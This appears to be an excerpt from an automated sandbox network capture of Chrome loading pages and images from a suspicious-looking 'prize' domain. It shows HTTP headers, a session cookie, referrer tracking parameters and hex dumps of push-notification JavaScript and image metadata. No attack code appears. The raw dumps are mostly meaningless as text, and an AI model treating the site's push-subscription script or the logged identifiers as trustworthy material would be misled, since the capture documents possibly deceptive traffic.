.sourceOne=setIfNull(utmObj.source_one,b.source_one),a.sourceTwo=setIfNull(utmObj.source_two,b.source_two),a.sourceThree=setIfNull(utmObj.source_three,b.source_three),a.sourceFour=setIfNull(utmObj.source_four,b.source_four),a.sourceFive=setIfNull(utmObj.s
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 76 65 72 73 69 6f 6e 29 2c 61 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 73 75 62 73 63 72 69 62 65 28 7b 75 73 65 72 56 69 73 69 62 6c 65 4f 6e 6c 79 3a 21 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 4b 65 79 3a 62 7d 29 7d 22 64 65 6e 69 65 64 22 3d 3d 3d 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 70 65 72 6d 69 73 73 69 6f 6e 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 76 65 72 73 69 6f 6e 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 Data Ascii: subscribe_prompt","subscribe_prompt",version),a.pushManager.subscribe({userVisibleOnly:!0,applicationServerKey:b})}"denied"===Notification.permission&&logPushEvent("denied_impression","denied_impression",version)}).catch(function(a){console.error("Service
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 2e 6c 6f 67 28 22 74 61 62 6f 6f 6c 61 55 72 6c 20 66 65 74 63 68 20 65 72 72 6f 72 22 2c 61 29 2c 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 74 61 62 6f 6f 6c 61 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 20 57 6f 72 6b 65 72 20 45 72 72 6f 72 22 2c 61 29 2c 70 75 73 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 75 73 68 5f 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 69 73 65 28 29 7b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 Data Ascii: .log("taboolaUrl fetch error",a),logPushEvent("taboola_request_error",a,version)})})}).catch(function(a){console.error("Service Worker Error",a),pushLogging&&logPushEvent("error_subscribing",a,version)})}})}function push_subscribe_promise(){return navigat
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 49 66 4e 75 6c 6c 28 63 2c 61 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 6e 75 6c 6c 3d 3d 3d 63 7c 7c 22 22 3d 3d 3d 63 3f 61 3a 63 7d 66 75 6e 63 74 69 6f 6e 20 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 61 2c 62 2c 63 29 7b 6c 65 74 20 64 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 3b 22 7b 7d 22 21 3d 3d 64 26 26 28 62 3d 64 29 3b 6c 65 74 20 65 3d 7b 7d 3b 70 75 6c 6c 55 72 6c 50 61 72 61 6d 73 28 65 29 2c 65 2e 6d 65 73 73 61 67 65 3d 62 2c 65 2e 76 65 72 73 69 6f 6e 3d 63 2c 65 2e 65 76 65 6e 74 3d 22 70 5f 22 2b 61 3b 66 Data Ascii: hLogging&&logPushEvent("error_subscribing",a,version)})}function setIfNull(c,a){return void 0===c\|\|null===c\|\|""===c?a:c}function logPushEvent(a,b,c){let d=JSON.stringify(b);"{}"!==d&&(b=d);let e={};pullUrlParams(e),e.message=b,e.version=c,e.event="p_"+a;f
2025-01-08 14:44:41 UTC	1303	IN	Data Raw: 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 28 73 65 73 73 69 6f 6e 49 64 3d 61 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 55 74 6d 28 61 29 7b 22 73 65 72 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 61 26 26 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 75 74 6d 4f 62 6a 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 53 65 73 73 69 6f 6e 49 64 28 29 7b 72 65 74 75 72 6e 20 73 65 73 73 69 6f 6e 49 64 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 72 6c 56 61 72 73 28 29 7b 6c 65 74 20 61 3d 7b 7d 2c 62 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: viceWorker"in navigator&&"PushManager"in window&&(sessionId=a)}function setUtm(a){"serviceWorker"in navigator&&"PushManager"in window&&null!=a&&Object.assign(utmObj,a)}function getSessionId(){return sessionId}function getUrlVars(){let a={},b=window.locati
2025-01-08 14:44:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49785	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:41 UTC	823	OUT	GET /images/comm_pic_2.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:42 UTC	1053	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:42 GMT Content-Type: image/jpeg Content-Length: 75733 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2957-127d5" expires: Wed, 08 Jan 2025 14:44:40 GMT last-modified: Tue, 07 Jan 2025 13:17:11 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKfxElcFCUgYRYBKBMcgik2AmeH2aJfyOQpO7SGi7JXK6iimLvPSPJGWlihuRMlMuEItFIUopC%2Fs%2BuE3%2B7n6MxcwO%2FLfYBpl1PM5Hio7Yr%2F7WywBNd2ChrGy5XLU2Sj5fISwb5We8jtrSH9i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf78e5937f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1489&rtt_var=568&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1401&delivery_rate=1909744&cwnd=162&unsent_bytes=0&cid=edcd4f9c46758673&ts=872&x=0"
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: ff d8 ff e1 12 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 01 5e 00 00 01 01 00 03 00 00 00 01 00 ed 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 37 3a 32 35 20 32 32 3a 31 33 3a 32 32 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ZExifMM*^(12i ''Adobe Photoshop 21.0 (Windows)2023:07:25 22:13:220
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 5f ed 0b 9c ab ff 00 cf 3e a9 f6 af 5f ec 18 3e bf fa 7f 4a c8 fe b4 ef dd bf ff 00 04 43 db 9f 82 ee 31 b5 6a ff 00 ff d0 e6 e9 13 73 98 4c 4b 4f 81 e3 fa c1 ca 6f a9 a4 96 8b 00 78 d6 0b 58 62 7c 5b b4 22 e6 e3 1c 4e aa fa 0f 35 da fa cf c8 ba b4 17 d0 e3 94 db c1 80 1b b4 8e e4 ea 9f 98 d4 b7 ad 2c 79 ae c4 2e 3b 5e b4 d4 23 33 7b 98 d6 31 c5 91 3e c6 70 7e 89 f7 47 d2 53 a5 8f 71 73 2f 63 6b 78 01 c0 06 30 cb 4f b6 78 3f 9c 8a d7 83 99 63 01 92 2b 68 77 c4 39 df f9 35 58 b8 d5 99 4b 8b 6c 6b 1e 0d 7f a5 3b 8e a7 b7 b9 ff 00 9d b1 33 88 9d 28 03 c3 c5 e3 b2 ee 10 35 b2 45 d2 5a 2a 36 b5 db c3 1a e6 bd cc 00 56 d8 d3 44 31 fd 10 5c 59 5f a8 e3 b5 ac f4 c4 12 5d b1 58 b2 c1 53 ab 6f 1e ad 9b 4f c4 82 67 fc ed aa 2f 00 e4 53 50 d1 b5 ee b9 c3 cf e8 b3 fe Data Ascii: _>_>JC1jsLKOoxXb\|["N5,y.;^#3{1>p~GSqs/ckx0Ox?c+hw95XKlk;3(5EZ*6VD1\Y_]XSoOg/SP
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: be 90 4e 6e a9 ba 17 b4 7c d5 46 db 4d 8f 02 e0 0d 8d f6 97 59 f4 64 1f 7f a6 e7 7b 9d cf b1 26 da e0 21 af c6 83 c8 60 71 99 ed f4 b6 fb 92 f6 fc d5 c7 e4 e8 6a 34 ef d8 79 ae b7 ec 6c fb 2f d9 b6 8f e6 fd 39 8e fb 3d 2d cb 91 fa bb 57 ad 99 4e 31 d5 8c b8 1d 75 f6 01 eb 6b fd 5d ab b9 83 f4 bc e5 11 0d 4c 6f c1 46 5a 09 53 ff d3 d4 c1 2f 1f 57 b3 71 68 9b 68 ca 6e 45 77 e3 38 6d 75 76 fb fd 3c cc 57 3a 19 65 36 fe 89 f7 d1 f4 fd 5f d2 d3 fe 89 70 b6 b4 da 18 e0 d0 ee e6 60 68 60 fe 73 5e bd 5f a3 7d 5c e9 f7 e3 d7 97 9b 4b 6f b0 c7 a2 1f 25 a1 ad 81 b8 56 7d 9f a5 70 dd ff 00 15 b1 79 07 50 65 98 1d 5f 2f a7 d9 7b bd 3c 5c 8b 69 92 e2 3d ac 73 85 67 db ee fa 1b 52 9c 4c b5 07 58 ae 84 c4 74 23 76 7e 8b e3 56 b4 9e c2 5a 23 bf b7 f4 49 85 36 71 b5 b1 a9 Data Ascii: Nn\|FMYd{&!`qj4yl/9=-WN1uk]LoFZS/WqhhnEw8muv<W:e6_p`h`s^_}\Ko%V}pyPe_/{<\i=sgRLXt#v~VZ#I6q
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 48 0e e8 b6 e8 a0 6b a2 a1 ea 16 b2 b0 3f 3b 68 1a 9d 15 af d9 f9 3f f7 23 ff 00 03 1f c5 c9 c7 4f c8 9f e9 0e f9 56 c4 86 29 f7 1f 6a bd d8 76 2d 31 93 8d da d6 cf cf fd 7b a4 eb b1 ac 73 07 a8 77 03 2d 2d 0e e4 8d bf bb fc a5 7c 74 db 8f fd aa 7f c9 ac ff 00 c8 a2 0e 97 69 d0 e4 db f2 0c ff 00 c8 23 ec 9f 0f f1 bf f4 04 7b c3 c7 ec ff 00 d0 9c f6 5b 8e d2 60 58 49 80 7d 8f 26 07 d1 fc df a2 d5 bf f5 52 81 7f 57 a2 ed ae 0c c7 6b af 76 e1 b4 88 06 aa a5 9f 4d bf a4 72 ad 57 47 2e 20 1c 9b fe 4e 03 fe a5 ab a9 e8 78 95 61 63 9a d8 35 b0 ee 7b cf d2 71 03 4d ee fa 4e 44 62 d4 12 76 fa a0 e6 d0 80 37 77 6a 7c 70 ad 7a 9a 71 aa a3 5b 84 a3 7a a7 67 1a fe ec f7 ff 00 c8 a9 58 5f ff d6 ea 87 5e e9 35 9f 76 76 38 f2 f5 9b ff 00 7d 25 03 33 eb 47 45 73 36 37 37 Data Ascii: Hk?;h?#OV)jv-1{sw--\|ti#{[`XI}&RWkvMrWG. Nxac5{qMNDbv7wj\|pzq[zgX_^5vv8}%3GEs677
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 53 63 6c 20 55 6e 74 46 23 50 72 63 40 59 00 00 00 00 00 00 00 00 00 10 63 72 6f 70 57 68 65 6e 50 72 69 6e 74 69 6e 67 62 6f 6f 6c 00 00 00 00 0e 63 72 6f 70 52 65 63 74 42 6f 74 74 6f 6d 6c 6f 6e 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 03 f2 00 00 00 00 00 0a 00 00 ff ff ff ff ff ff 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 78 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 Data Ascii: Scl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIMx8BIM8BI
2025-01-08 14:44:42 UTC	395	IN	Data Raw: 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 72 69 67 68 74 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 04 28 00 00 00 00 00 0c 00 00 00 02 3f f0 00 00 00 00 00 00 38 42 49 4d 04 11 00 00 00 00 00 01 01 00 38 42 49 4d 04 14 00 00 00 00 00 04 00 00 00 11 38 42 49 4d 04 0c 00 00 00 00 10 f0 00 00 00 01 00 00 00 6c 00 00 00 9f 00 00 01 44 00 00 c9 3c 00 00 10 d4 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c Data Ascii: tlongrightOutsetlong8BIM(?8BIM8BIM8BIMlD<Adobe_CMAdobed
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 Data Ascii: 3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 63 ff 00 04 5a 07 22 fe 21 f3 a7 35 ff 00 73 d3 7a b9 04 4c 96 90 09 20 d6 75 fa 31 1e e4 c3 90 6f c2 3f c6 5e 20 76 e2 3f e2 b9 ee cd de 41 75 6c 71 69 96 cb ac 30 7c 5b fa 44 ff 00 6f 70 71 7e d6 ee 22 09 df 64 c0 ff 00 ae 2b de a6 44 19 77 03 bd 4e d0 f1 fd af 72 7a df 73 cb 84 89 6c 7d 2a cb 74 3b b4 ff 00 a9 43 dc 88 1f 20 ff 00 1a 4a e0 95 fc c7 fc 50 e7 b7 31 ad 79 7b 6b 63 5e ef a4 e0 f7 82 67 c4 ef 52 1d 44 89 86 81 26 4c 58 f1 24 f7 fa 6b 43 6e 5c 7f 39 5c ff 00 53 ba 28 e0 48 04 c6 b0 10 39 a1 fb b7 fe 11 48 c5 3f de af f0 43 97 fb 44 ee df 03 74 6d 9f 51 f3 13 bb 6f d2 43 b7 25 b6 99 80 d3 24 b8 ee 73 a4 9f 1d e5 cb 66 07 80 fb 82 6d ad 1d 87 dc 88 e6 22 35 10 ff 00 9c a3 86 47 43 3f c1 c4 6b db e2 3e f5 20 f1 e2 16 d4 37 c0 7d c1 3c 33 f7 5b Data Ascii: cZ"!5szL u1o?^ v?Aulqi0\|[Dopq~"d+DwNrzsl}*t;C JP1y{kc^gRD&LX$kCn\9\S(H9H?CDtmQoC%$sfm"5GC?k> 7}<3[
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: aa fd 44 c6 60 c0 cb b9 e7 d9 92 ff 00 4e c6 83 0e f4 5a 3d 37 5a c2 3f d1 de f5 bf b3 2b ed 9e 9e f1 bf 76 f9 83 b7 74 7d 38 ff 00 a6 9b c0 7d b3 3b d7 e6 4f 10 e3 e0 e9 f2 bf ff d4 ee 5d d4 3e ac 53 58 fd 23 76 b5 a1 ad 8d fc 34 40 1b 8f f2 57 9c 7d 6c 38 76 f5 ac ab f0 36 ba 9b c3 2d 61 80 7d c5 8d 6d 9f bd fe 11 8b d3 a8 c5 e9 34 40 c7 c0 a6 be e0 86 30 19 f8 ed 5c 7f f8 c8 a2 72 f0 72 83 60 59 53 e9 24 78 b1 cd b1 9f f9 f9 e9 b9 4f a7 aa fc 5f 37 98 78 27 37 22 34 07 ee 09 b6 df a1 da 47 c7 6f f7 27 df 69 68 71 b4 09 1c 41 e6 3f 3b 6d 6a 3b ad 80 7d 71 f2 07 9f fb 6d 45 ea ec 3e c2 cb a7 8b 20 dc 8d 07 03 bc ed 03 e7 a2 96 cc 83 cd 91 f8 83 f8 29 32 d6 38 4e e6 82 34 77 e6 89 f2 de a4 20 ea 35 07 82 13 0c 8f 60 3e 8b c0 1d d7 67 b6 07 3b 47 27 95 87 Data Ascii: D`NZ=7Z?+vt}8};O]>SX#v4@W}l8v6-a}m4@0\rr`YS$xO_7x'7"4Go'ihqA?;mj;}qmE> )28N4w 5`>g;G'
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 20 00 32 00 30 00 32 00 30 00 00 00 01 00 38 42 49 4d 04 06 00 00 00 00 00 07 00 08 01 01 00 01 01 00 ff e1 12 04 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a Data Ascii: Photoshop 20208BIMhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49786	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:41 UTC	424	OUT	GET /images/prize1.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:42 UTC	1055	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:42 GMT Content-Type: image/png Content-Length: 671883 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2945-a408b" expires: Wed, 08 Jan 2025 14:44:41 GMT last-modified: Tue, 07 Jan 2025 13:16:53 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dvFzyXAkinVMNTNXXTS%2BqYZVAk%2Fse0%2BNnejtZ0z0udAgGHhvGG%2FiGU4cD22Jdlh8y8NQdN9yZin0ATTCRHfsdPFP6GVpAiAqFkEmBMHzRC4o1n7ElQ4qE83QBmNT5mABy2rpJ9Y%2B3%2BN3dokW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf78e9f774225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1718&rtt_var=653&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1002&delivery_rate=1662870&cwnd=235&unsent_bytes=0&cid=9c61a00ecf3d61b6&ts=971&x=0"
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c0 00 00 03 c0 08 06 00 00 00 fa d6 10 9b 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0d 56 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRpHYsViTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RD
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 69 3e 33 31 32 46 44 41 33 30 31 31 43 44 34 45 35 45 31 46 44 33 31 35 33 41 31 43 43 32 42 38 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 31 37 46 38 45 43 33 35 32 34 31 44 32 34 41 42 31 33 35 32 30 35 36 42 30 33 31 43 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 36 45 32 35 33 35 42 46 45 33 36 35 38 38 37 33 35 30 45 42 34 38 38 46 34 43 43 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 42 30 45 32 35 39 32 42 45 32 44 31 31 44 46 39 44 33 46 42 46 44 46 36 32 45 41 33 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 35 Data Ascii: i>312FDA3011CD4E5E1FD3153A1CC2B897</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li>4D17F8EC35241D24AB1352056B031C03</rdf:li> <rdf:li>62E6E2535BFE365887350EB488F4CCAA</rdf:li> <rdf:li>96B0E2592BE2D11DF9D3FBFDF62EA3AA</rdf:li> <rdf:li>AC5
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 33 35 36 38 37 38 30 33 2d 64 36 62 37 2d 61 35 34 30 2d 39 30 37 32 2d 61 65 38 33 37 36 61 62 37 37 62 33 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 Data Ascii: hop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:35687803-d6b7-a540-9072-ae8376ab77b3" stEvt:when="2022-04-21T21:45:13+08:00" stEvt:softwareAgent="Adobe Photoshop 21.0 